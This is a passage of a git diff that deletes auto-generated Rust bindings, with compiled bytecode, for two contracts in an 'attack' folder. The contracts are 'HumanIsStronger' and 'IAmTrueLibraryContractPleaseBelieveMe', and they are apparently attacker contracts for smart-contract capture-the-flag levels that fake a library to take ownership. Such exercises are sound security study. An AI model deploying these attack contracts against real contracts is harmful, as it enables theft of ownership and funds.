::std::collections::BTreeMap::new(), - errors: ::std::collections::BTreeMap::new(), - receive: false, - fallback: false, - } - } - ///The parsed JSON ABI of the contract. - pub static HUMANISSTRONGER_ABI: ::ethers::contract::Lazy< - ::ethers::core::abi::Abi, - > = ::ethers::contract::Lazy::new(__abi); - #[rustfmt::skip] - const __BYTECODE: &[u8] = b"`\x01`\xA0R` `\x80R`\xC0`@R\x7FN\xF1\xD2\xAD\x89\xED\xF8\xC4\xD9\x112\x02\x8E\x81\x95\xCD\xF3\x0B\xB4\xB5\x05=O\x8C\xD2`4\x1DH\x05\xF3\n`\x02U4\x80\x15a\0>W`\0\x80\xFD[P`@Qa\x03/8\x03\x80a\x03/\x839\x81\x81\x01`@R` \x81\x10\x15a\0aW`\0\x80\xFD[PQ`\0\x80T`\x01`\x01`\xA0\x1B\x03\x19\x90\x81\x163\x17\x90\x91U`\x01\x80T`\x01`\x01`\xA0\x1B\x03\x90\x93\x16\x92\x90\x91\x16\x91\x90\x91\x17\x90Ua\x02\x8F\x80a\0\xA0`\09`\0\xF3\xFE`\x80`@R4\x80\x15a\0\x10W`\0\x80\xFD[P`\x046\x10a\x006W`\x005`\xE0\x1C\x80cf\x8A/g\x14a\0;W\x80c\x8D\xA5\xCB[\x14a\0pW[`\0\x80\xFD[a\0n`\x04\x806\x03` \x81\x10\x15a\0QW`\0\x80\xFD[P5s\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\x16a\0\xA1V[\0[a\0xa\x02>V[`@\x80Qs\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\x90\x92\x16\x82RQ\x90\x81\x90\x03` \x01\x90\xF3[`\x01`\0\x90T\x90a\x01\0\n\x90\x04s\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\x16s\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\x16c2\x8BR\xCB`@Q\x81c\xFF\xFF\xFF\xFF\x16`\xE0\x1B\x81R`\x04\x01`\0`@Q\x80\x83\x03\x81`\0\x87\x80;\x15\x80\x15a\x01\x0BW`\0\x80\xFD[PZ\xF1\x15\x80\x15a\x01\x1FW=`\0\x80>=`\0\xFD[PPPP`\x01`\0\x90T\x90a\x01\0\n\x90\x04s\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\x16s\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\x16cG\xF5{2`@Q\x81c\xFF\xFF\xFF\xFF\x16`\xE0\x1B\x81R`\x04\x01`\0`@Q\x80\x83\x03\x81`\0\x87\x80;\x15\x80\x15a\x01\x8DW`\0\x80\xFD[PZ\xF1\x15\x80\x15a\x01\xA1W=`\0\x80>=`\0\xFD[PP`\x01T`\x02T`@\x80Q\x7F\x039\xF3\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\x81R`\x04\x81\x01\x92\x90\x92Rs\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\x86\x81\x16`$\x84\x01R\x90Q\x92\x16\x93Pc\x039\xF3\0\x92P`D\x80\x82\x01\x92`\0\x92\x90\x91\x90\x82\x90\x03\x01\x81\x83\x87\x80;\x15\x80\x15a\x02#W`\0\x80\xFD[PZ\xF1\x15\x80\x15a\x027W=`\0\x80>=`\0\xFD[PPPPPV[`\0Ts\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\x16\x81V\xFE\xA2ebzzr1X \x9D>|\x0B\xB1\xFF\xEA\xEF0\x90;\xB5\x15pI\x9D\xCE\x19;\xA2\x9D\x182\xA6\x908~h-!\xB5YdsolcC\0\x05\x11\x002"; - /// The bytecode of the contract. - pub static HUMANISSTRONGER_BYTECODE: ::ethers::core::types::Bytes = - ::ethers::core::types::Bytes::from_static(__BYTECODE); - #[rustfmt::skip] - const __DEPLOYED_BYTECODE: &[u8] = b"`\x80`@R4\x80\x15a\0\x10W`\0\x80\xFD[P`\x046\x10a\x006W`\x005`\xE0\x1C\x80cf\x8A/g\x14a\0;W\x80c\x8D\xA5\xCB[\x14a\0pW[`\0\x80\xFD[a\0n`\x04\x806\x03` \x81\x10\x15a\0QW`\0\x80\xFD[P5s\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\x16a\0\xA1V[\0[a\0xa\x02>V[`@\x80Qs\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\x90\x92\x16\x82RQ\x90\x81\x90\x03` \x01\x90\xF3[`\x01`\0\x90T\x90a\x01\0\n\x90\x04s\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\x16s\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\x16c2\x8BR\xCB`@Q\x81c\xFF\xFF\xFF\xFF\x16`\xE0\x1B\x81R`\x04\x01`\0`@Q\x80\x83\x03\x81`\0\x87\x80;\x15\x80\x15a\x01\x0BW`\0\x80\xFD[PZ\xF1\x15\x80\x15a\x01\x1FW=`\0\x80>=`\0\xFD[PPPP`\x01`\0\x90T\x90a\x01\0\n\x90\x04s\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\x16s\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\x16cG\xF5{2`@Q\x81c\xFF\xFF\xFF\xFF\x16`\xE0\x1B\x81R`\x04\x01`\0`@Q\x80\x83\x03\x81`\0\x87\x80;\x15\x80\x15a\x01\x8DW`\0\x80\xFD[PZ\xF1\x15\x80\x15a\x01\xA1W=`\0\x80>=`\0\xFD[PP`\x01T`\x02T`@\x80Q\x7F\x039\xF3\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\x81R`\x04\x81\x01\x92\x90\x92Rs\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\x86\x81\x16`$\x84\x01R\x90Q\x92\x16\x93Pc\x039\xF3\0\x92P`D\x80\x82\x01\x92`\0\x92\x90\x91\x90\x82\x90\x03\x01\x81\x83\x87\x80;\x15\x80\x15a\x02#W`\0\x80\xFD[PZ\xF1\x15\x80\x15a\x027W=`\0\x80>=`\0\xFD[PPPPPV[`\0Ts\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\x16\x81V\xFE\xA2ebzzr1X \x9D>|\x0B\xB1\xFF\xEA\xEF0\x90;\xB5\x15pI\x9D\xCE\x19;\xA2\x9D\x182\xA6\x908~h-!\xB5YdsolcC\0\x05\x11\x002"; - /// The deployed bytecode of the contract. - pub static HUMANISSTRONGER_DEPLOYED_BYTECODE: ::ethers::core::types::Bytes = - ::ethers::core::types::Bytes::from_static(__DEPLOYED_BYTECODE); - pub struct HumanIsStronger(::ethers::contract::Contract); - impl ::core::clone::Clone for HumanIsStronger { - fn clone(&self) -> Self { Self(::core::clone::Clone::clone(&self.0)) } - } - impl ::core::ops::Deref for HumanIsStronger { - type Target = ::ethers::contract::Contract; - fn deref(&self) -> &Self::Target { &self.0 } - } - impl ::core::ops::DerefMut for HumanIsStronger { - fn deref_mut(&mut self) -> &mut Self::Target { &mut self.0 } - } - impl ::core::fmt::Debug for HumanIsStronger { - fn fmt( - &self, - f: &mut ::core::fmt::Formatter<'_>, - ) -> ::core::fmt::Result { - f.debug_tuple(::core::stringify!(HumanIsStronger)) - .field(&self.address()) - .finish() - } - } - impl HumanIsStronger { - /// Creates a new contract instance with the - /// specified `ethers` client at `address`. - /// The contract derefs to a `ethers::Contract` - /// object. - pub fn new>( - address: T, - client: ::std::sync::Arc, - ) -> Self { - Self(::ethers::contract::Contract::new( - address.into(), - HUMANISSTRONGER_ABI.clone(), - client, - )) - } - /// Constructs the general purpose `Deployer` - /// instance based on the provided constructor - /// arguments and sends it. Returns a new - /// instance of a deployer that returns an instance - /// of this contract after sending the transaction - /// - /// Notes: - /// - If there are no constructor arguments, you - /// should pass `()` as the argument. - /// - The default poll duration is 7 seconds. - /// - The default number of confirmations is 1 - /// block. - /// - /// - /// # Example - /// - /// Generate contract bindings with `abigen!` and - /// deploy a new contract instance. - /// - /// *Note*: this requires a `bytecode` and `abi` - /// object in the `greeter.json` artifact. - /// - /// ```ignore - /// # async fn deploy(client: ::std::sync::Arc) { - /// abigen!(Greeter, "../greeter.json"); - /// - /// let greeter_contract = Greeter::deploy(client, "Hello world!".to_string()).unwrap().send().await.unwrap(); - /// let msg = greeter_contract.greet().call().await.unwrap(); - /// # } - /// ``` - pub fn deploy( - client: ::std::sync::Arc, - constructor_args: T, - ) -> ::core::result::Result< - ::ethers::contract::builders::ContractDeployer, - ::ethers::contract::ContractError, - > { - let factory = ::ethers::contract::ContractFactory::new( - HUMANISSTRONGER_ABI.clone(), - HUMANISSTRONGER_BYTECODE.clone().into(), - client, - ); - let deployer = factory.deploy(constructor_args)?; - let deployer = ::ethers::contract::ContractDeployer::new(deployer); - Ok(deployer) - } - ///Calls the contract's `boom` (0x668a2f67) - /// function - pub fn boom( - &self, - offender: ::ethers::core::types::Address, - ) -> ::ethers::contract::builders::ContractCall { - self.0 - .method_hash([102, 138, 47, 103], offender) - .expect("method not found (this should never happen)") - } - ///Calls the contract's `owner` (0x8da5cb5b) - /// function - pub fn owner( - &self, - ) -> ::ethers::contract::builders::ContractCall< - M, - ::ethers::core::types::Address, - > { - self.0 - .method_hash([141, 165, 203, 91], ()) - .expect("method not found (this should never happen)") - } - } - impl - From<::ethers::contract::Contract> for HumanIsStronger - { - fn from(contract: ::ethers::contract::Contract) -> Self { - Self::new(contract.address(), contract.client()) - } - } - ///Container type for all input parameters for the - /// `boom` function with signature `boom(address)` and - /// selector `0x668a2f67` - #[derive( - Clone, - ::ethers::contract::EthCall, - ::ethers::contract::EthDisplay, - Default, - Debug, - PartialEq, - Eq, - Hash, - )] - #[ethcall(name = "boom", abi = "boom(address)")] - pub struct BoomCall { - pub offender: ::ethers::core::types::Address, - } - ///Container type for all input parameters for the - /// `owner` function with signature `owner()` and - /// selector `0x8da5cb5b` - #[derive( - Clone, - ::ethers::contract::EthCall, - ::ethers::contract::EthDisplay, - Default, - Debug, - PartialEq, - Eq, - Hash, - )] - #[ethcall(name = "owner", abi = "owner()")] - pub struct OwnerCall; - ///Container type for all of the contract's call - #[derive( - Clone, ::ethers::contract::EthAbiType, Debug, PartialEq, Eq, Hash, - )] - pub enum HumanIsStrongerCalls { - Boom(BoomCall), - Owner(OwnerCall), - } - impl ::ethers::core::abi::AbiDecode for HumanIsStrongerCalls { - fn decode( - data: impl AsRef<[u8]>, - ) -> ::core::result::Result - { - let data = data.as_ref(); - if let Ok(decoded) = - ::decode(data) - { - return Ok(Self::Boom(decoded)); - } - if let Ok(decoded) = - ::decode(data) - { - return Ok(Self::Owner(decoded)); - } - Err(::ethers::core::abi::Error::InvalidData.into()) - } - } - impl ::ethers::core::abi::AbiEncode for HumanIsStrongerCalls { - fn encode(self) -> Vec { - match self { - Self::Boom(element) => { - ::ethers::core::abi::AbiEncode::encode(element) - } - Self::Owner(element) => { - ::ethers::core::abi::AbiEncode::encode(element) - } - } - } - } - impl ::core::fmt::Display for HumanIsStrongerCalls { - fn fmt( - &self, - f: &mut ::core::fmt::Formatter<'_>, - ) -> ::core::fmt::Result { - match self { - Self::Boom(element) => ::core::fmt::Display::fmt(element, f), - Self::Owner(element) => ::core::fmt::Display::fmt(element, f), - } - } - } - impl ::core::convert::From for HumanIsStrongerCalls { - fn from(value: BoomCall) -> Self { Self::Boom(value) } - } - impl ::core::convert::From for HumanIsStrongerCalls { - fn from(value: OwnerCall) -> Self { Self::Owner(value) } - } - ///Container type for all return fields from the - /// `owner` function with signature `owner()` and - /// selector `0x8da5cb5b` - #[derive( - Clone, - ::ethers::contract::EthAbiType, - ::ethers::contract::EthAbiCodec, - Default, - Debug, - PartialEq, - Eq, - Hash, - )] - pub struct OwnerReturn(pub ::ethers::core::types::Address); -} diff --git a/attack/src/abi/i_am_true_library_contract_please_believe_me.rs b/attack/src/abi/i_am_true_library_contract_please_believe_me.rs deleted file mode 100644 index 3e920c0..0000000 --- a/attack/src/abi/i_am_true_library_contract_please_believe_me.rs +++ /dev/null @@ -1,549 +0,0 @@ -pub use i_am_true_library_contract_please_believe_me::*; -/// This module was auto-generated with ethers-rs Abigen. -/// More information at: -#[allow( - clippy::enum_variant_names, - clippy::too_many_arguments, - clippy::upper_case_acronyms, - clippy::type_complexity, - dead_code, - non_camel_case_types -)] -pub mod i_am_true_library_contract_please_believe_me { - #[allow(deprecated)] - fn __abi() -> ::ethers::core::abi::Abi { - ::ethers::core::abi::ethabi::Contract { - constructor: ::core::option::Option::Some(::ethers::core::abi::ethabi::Constructor { - inputs: ::std::vec![], - }), - functions: ::core::convert::From::from([ - ( - ::std::borrow::ToOwned::to_owned("boom"), - ::std::vec![ - ::ethers::core::abi::ethabi::Function { - name: ::std::borrow::ToOwned::to_owned("boom"), - inputs: ::std::vec![ - ::ethers::core::abi::ethabi::Param { - name: ::std::borrow::ToOwned::to_owned("contr"), - kind: ::ethers::core::abi::ethabi::ParamType::Address, - internal_type: ::core::option::Option::Some( - ::std::borrow::ToOwned::to_owned("address"), - ), - }, - ::ethers::core::abi::ethabi::Param { - name: ::std::borrow::ToOwned::to_owned("own"), - kind: ::ethers::core::abi::ethabi::ParamType::Address, - internal_type: ::core::option::Option::Some( - ::std::borrow::ToOwned::to_owned("address"), - ), - }, - ], - outputs: ::std::vec![], - constant: ::core::option::Option::None, - state_mutability: ::ethers::core::abi::ethabi::StateMutability::NonPayable, - }, - ], - ), - ( - ::std::borrow::ToOwned::to_owned("owner"), - ::std::vec![ - ::ethers::core::abi::ethabi::Function { - name: ::std::borrow::ToOwned::to_owned("owner"), - inputs: ::std::vec![], - outputs: ::std::vec![ - ::ethers::core::abi::ethabi::Param { - name: ::std::string::String::new(), - kind: ::ethers::core::abi::ethabi::ParamType::Address, - internal_type: ::core::option::Option::Some( - ::std::borrow::ToOwned::to_owned("address"), - ), - }, - ], - constant: ::core::option::Option::None, - state_mutability: ::ethers::core::abi::ethabi::StateMutability::View, - }, - ], - ), - ( - ::std::borrow::ToOwned::to_owned("setTime"), - ::std::vec![ - ::ethers::core::abi::ethabi::Function { - name: ::std::borrow::ToOwned::to_owned("setTime"), - inputs: ::std::vec![ - ::ethers::core::abi::ethabi::Param { - name: ::std::borrow::ToOwned::to_owned("_time"), - kind: ::ethers::core::abi::ethabi::ParamType::Uint( - 256usize, - ), - internal_type: ::core::option::Option::Some( - ::std::borrow::ToOwned::to_owned("uint256"), - ), - }, - ], - outputs: ::std::vec![], - constant: ::core::option::Option::None, - state_mutability: ::ethers::core::abi::ethabi::StateMutability::NonPayable, - }, - ], - ), - ( - ::std::borrow::ToOwned::to_owned("timeZone1Library"), - ::std::vec![ - ::ethers::core::abi::ethabi::Function { - name: ::std::borrow::ToOwned::to_owned("timeZone1Library"), - inputs: ::std::vec![], - outputs: ::std::vec![ - ::ethers::core::abi::ethabi::Param { - name: ::std::string::String::new(), - kind: ::ethers::core::abi::ethabi::ParamType::Address, - internal_type: ::core::option::Option::Some( - ::std::borrow::ToOwned::to_owned("address"), - ), - }, - ], - constant: ::core::option::Option::None, - state_mutability: ::ethers::core::abi::ethabi::StateMutability::View, - }, - ], - ), - ( - ::std::borrow::ToOwned::to_owned("timeZone2Library"), - ::std::vec![ - ::ethers::core::abi::ethabi::Function { - name: ::std::borrow::ToOwned::to_owned("timeZone2Library"), - inputs: ::std::vec![], - outputs: ::std::vec![ - ::ethers::core::abi::ethabi::Param { - name: ::std::string::String::new(), - kind: ::ethers::core::abi::ethabi::ParamType::Address, - internal_type: ::core::option::Option::Some( - ::std::borrow::ToOwned::to_owned("address"), - ), - }, - ], - constant: ::core::option::Option::None, - state_mutability: ::ethers::core::abi::ethabi::StateMutability::View, - }, - ], - ), - ]), - events: ::std::collections::BTreeMap::new(), - errors: ::std::collections::BTreeMap::new(), - receive: false, - fallback: false, - } - } - ///The parsed JSON ABI of the contract. - pub static IAMTRUELIBRARYCONTRACTPLEASEBELIEVEME_ABI: - ::ethers::contract::Lazy<::ethers::core::abi::Abi> = - ::ethers::contract::Lazy::new(__abi); - #[rustfmt::skip] - const __BYTECODE: &[u8] = b"`\x80`@R4\x80\x15a\0\x10W`\0\x80\xFD[P`\x02\x80T`\x01`\x01`\xA0\x1B\x03\x19\x163\x17\x90Ua\x03=\x80a\x002`\09`\0\xF3\xFE`\x80`@R4\x80\x15a\0\x10W`\0\x80\xFD[P`\x046\x10a\0gW`\x005`\xE0\x1C\x80c;\xEB&\xC4\x11a\0PW\x80c;\xEB&\xC4\x14a\0\xCAW\x80c=\xC7\x94\"\x14a\x01\x1FW\x80c\x8D\xA5\xCB[\x14a\x01?W`\0\x80\xFD[\x80c\x04\xFA\xBA;\x14a\0lW\x80c'\xD6\x97O\x14a\0\x81W[`\0\x80\xFD[a\0\x7Fa\0z6`\x04a\x02\xBBV[a\x01_V[\0[`\x01Ta\0\xA1\x90s\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\x16\x81V[`@Qs\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\x90\x91\x16\x81R` \x01`@Q\x80\x91\x03\x90\xF3[a\0\x7Fa\0\xD86`\x04a\x02\xEEV[`\x02\x80T\x7F\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\x16s\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\x92\x90\x92\x16\x91\x90\x91\x17\x90UV[`\0Ta\0\xA1\x90s\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\x16\x81V[`\x02Ta\0\xA1\x90s\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\x16\x81V[`\x03\x80T\x7F\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\x16s\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\x84\x16\x90\x81\x17\x90\x91U`@Q\x7F\xF1\xE0& \0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\x81R0`\x04\x82\x01Rc\xF1\xE0& \x90`$\x01`\0`@Q\x80\x83\x03\x81`\0\x87\x80;\x15\x80\x15a\x01\xF1W`\0\x80\xFD[PZ\xF1\x15\x80\x15a\x02\x05W=`\0\x80>=`\0\xFD[PP`\x03T`@Q\x7F\xF1\xE0& \0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\x81Rs\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\x85\x81\x16`\x04\x83\x01R\x90\x91\x16\x92Pc\xF1\xE0& \x91P`$\x01`\0`@Q\x80\x83\x03\x81`\0\x87\x80;\x15\x80\x15a\x02vW`\0\x80\xFD[PZ\xF1\x15\x80\x15a\x02\x8AW=`\0\x80>=`\0\xFD[PPPPPPV[\x805s\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\x81\x16\x81\x14a\x02\xB6W`\0\x80\xFD[\x91\x90PV[`\0\x80`@\x83\x85\x03\x12\x15a\x02\xCEW`\0\x80\xFD[a\x02\xD7\x83a\x02\x92V[\x91Pa\x02\xE5` \x84\x01a\x02\x92V[\x90P\x92P\x92\x90PV[`\0` \x82\x84\x03\x12\x15a\x03\0W`\0\x80\xFD[P5\x91\x90PV\xFE\xA2dipfsX\"\x12 &2\xC9}\x91O\xF2\xC8\x19\xFE\xCCY.\xE5\xAB\xD753\r\x83\xF3_\xC5\xD8\x15\xA00\xDB\xCF\xF5o\x18dsolcC\0\x08\x15\x003"; - /// The bytecode of the contract. - pub static IAMTRUELIBRARYCONTRACTPLEASEBELIEVEME_BYTECODE: - ::ethers::core::types::Bytes = - ::ethers::core::types::Bytes::from_static(__BYTECODE); - #[rustfmt::skip] - const __DEPLOYED_BYTECODE: &[u8] = b"`\x80`@R4\x80\x15a\0\x10W`\0\x80\xFD[P`\x046\x10a\0gW`\x005`\xE0\x1C\x80c;\xEB&\xC4\x11a\0PW\x80c;\xEB&\xC4\x14a\0\xCAW\x80c=\xC7\x94\"\x14a\x01\x1FW\x80c\x8D\xA5\xCB[\x14a\x01?W`\0\x80\xFD[\x80c\x04\xFA\xBA;\x14a\0lW\x80c'\xD6\x97O\x14a\0\x81W[`\0\x80\xFD[a\0\x7Fa\0z6`\x04a\x02\xBBV[a\x01_V[\0[`\x01Ta\0\xA1\x90s\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\x16\x81V[`@Qs\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\x90\x91\x16\x81R` \x01`@Q\x80\x91\x03\x90\xF3[a\0\x7Fa\0\xD86`\x04a\x02\xEEV[`\x02\x80T\x7F\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\x16s\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\x92\x90\x92\x16\x91\x90\x91\x17\x90UV[`\0Ta\0\xA1\x90s\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\x16\x81V[`\x02Ta\0\xA1\x90s\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\x16\x81V[`\x03\x80T\x7F\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\x16s\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\x84\x16\x90\x81\x17\x90\x91U`@Q\x7F\xF1\xE0& \0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\x81R0`\x04\x82\x01Rc\xF1\xE0& \x90`$\x01`\0`@Q\x80\x83\x03\x81`\0\x87\x80;\x15\x80\x15a\x01\xF1W`\0\x80\xFD[PZ\xF1\x15\x80\x15a\x02\x05W=`\0\x80>=`\0\xFD[PP`\x03T`@Q\x7F\xF1\xE0& \0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\x81Rs\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\x85\x81\x16`\x04\x83\x01R\x90\x91\x16\x92Pc\xF1\xE0& \x91P`$\x01`\0`@Q\x80\x83\x03\x81`\0\x87\x80;\x15\x80\x15a\x02vW`\0\x80\xFD[PZ\xF1\x15\x80\x15a\x02\x8AW=`\0\x80>=`\0\xFD[PPPPPPV[\x805s\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\x81\x16\x81\x14a\x02\xB6W`\0\x80\xFD[\x91\x90PV[`\0\x80`@\x83\x85\x03\x12\x15a\x02\xCEW`\0\x80\xFD[a\x02\xD7\x83a\x02\x92V[\x91Pa\x02\xE5` \x84\x01a\x02\x92V[\x90P\x92P\x92\x90PV[`\0` \x82\x84\x03\x12\x15a\x03\0W`\0\x80\xFD[P5\x91\x90PV\xFE\xA2dipfsX\"\x12 &2\xC9}\x91O\xF2\xC8\x19\xFE\xCCY.\xE5\xAB\xD753\r\x83\xF3_\xC5\xD8\x15\xA00\xDB\xCF\xF5o\x18dsolcC\0\x08\x15\x003"; - /// The deployed bytecode of the contract. - pub static IAMTRUELIBRARYCONTRACTPLEASEBELIEVEME_DEPLOYED_BYTECODE: - ::ethers::core::types::Bytes = - ::ethers::core::types::Bytes::from_static(__DEPLOYED_BYTECODE); - pub struct IAmTrueLibraryContractPleaseBelieveMe( - ::ethers::contract::Contract, - ); - impl ::core::clone::Clone for IAmTrueLibraryContractPleaseBelieveMe { - fn clone(&self) -> Self { Self(::core::clone::Clone::clone(&self.0)) } - } - impl ::core::ops::Deref for IAmTrueLibraryContractPleaseBelieveMe { - type Target = ::ethers::contract::Contract; - fn deref(&self) -> &Self::Target { &self.0 } - } - impl ::core::ops::DerefMut for IAmTrueLibraryContractPleaseBelieveMe { - fn deref_mut(&mut self) -> &mut Self::Target { &mut self.0 } - } - impl ::core::fmt::Debug for IAmTrueLibraryContractPleaseBelieveMe { - fn fmt( - &self, - f: &mut ::core::fmt::Formatter<'_>, - ) -> ::core::fmt::Result { - f.debug_tuple(::core::stringify!( - IAmTrueLibraryContractPleaseBelieveMe - )) - .field(&self.address()) - .finish() - } - } - impl - IAmTrueLibraryContractPleaseBelieveMe - { - /// Creates a new contract instance with the - /// specified `ethers` client at `address`. - /// The contract derefs to a `ethers::Contract` - /// object. - pub fn new>( - address: T, - client: ::std::sync::Arc, - ) -> Self { - Self(::ethers::contract::Contract::new( - address.into(), - IAMTRUELIBRARYCONTRACTPLEASEBELIEVEME_ABI.clone(), - client, - )) - } - /// Constructs the general purpose `Deployer` - /// instance based on the provided constructor - /// arguments and sends it. Returns a new - /// instance of a deployer that returns an instance - /// of this contract after sending the transaction - /// - /// Notes: - /// - If there are no constructor arguments, you - /// should pass `()` as the argument. - /// - The default poll duration is 7 seconds. - /// - The default number of confirmations is 1 - /// block. - /// - /// - /// # Example - /// - /// Generate contract bindings with `abigen!` and - /// deploy a new contract instance. - /// - /// *Note*: this requires a `bytecode` and `abi` - /// object in the `greeter.json` artifact. - /// - /// ```ignore - /// # async fn deploy(client: ::std::sync::Arc) { - /// abigen!(Greeter, "../greeter.json"); - /// - /// let greeter_contract = Greeter::deploy(client, "Hello world!".to_string()).unwrap().send().await.unwrap(); - /// let msg = greeter_contract.greet().call().await.unwrap(); - /// # } - /// ``` - pub fn deploy( - client: ::std::sync::Arc, - constructor_args: T, - ) -> ::core::result::Result< - ::ethers::contract::builders::ContractDeployer, - ::ethers::contract::ContractError, - > { - let factory = ::ethers::contract::ContractFactory::new( - IAMTRUELIBRARYCONTRACTPLEASEBELIEVEME_ABI.clone(), - IAMTRUELIBRARYCONTRACTPLEASEBELIEVEME_BYTECODE.clone().into(), - client, - ); - let deployer = factory.deploy(constructor_args)?; - let deployer = ::ethers::contract::ContractDeployer::new(deployer); - Ok(deployer) - } - ///Calls the contract's `boom` (0x04faba3b) - /// function - pub fn boom( - &self, - contr: ::ethers::core::types::Address, - own: ::ethers::core::types::Address, - ) -> ::ethers::contract::builders::ContractCall { - self.0 - .method_hash([4, 250, 186, 59], (contr, own)) - .expect("method not found (this should never happen)") - } - ///Calls the contract's `owner` (0x8da5cb5b) - /// function - pub fn owner( - &self, - ) -> ::ethers::contract::builders::ContractCall< - M, - ::ethers::core::types::Address, - > { - self.0 - .method_hash([141, 165, 203, 91], ()) - .expect("method not found (this should never happen)") - } - ///Calls the contract's `setTime` (0x3beb26c4) - /// function - pub fn set_time( - 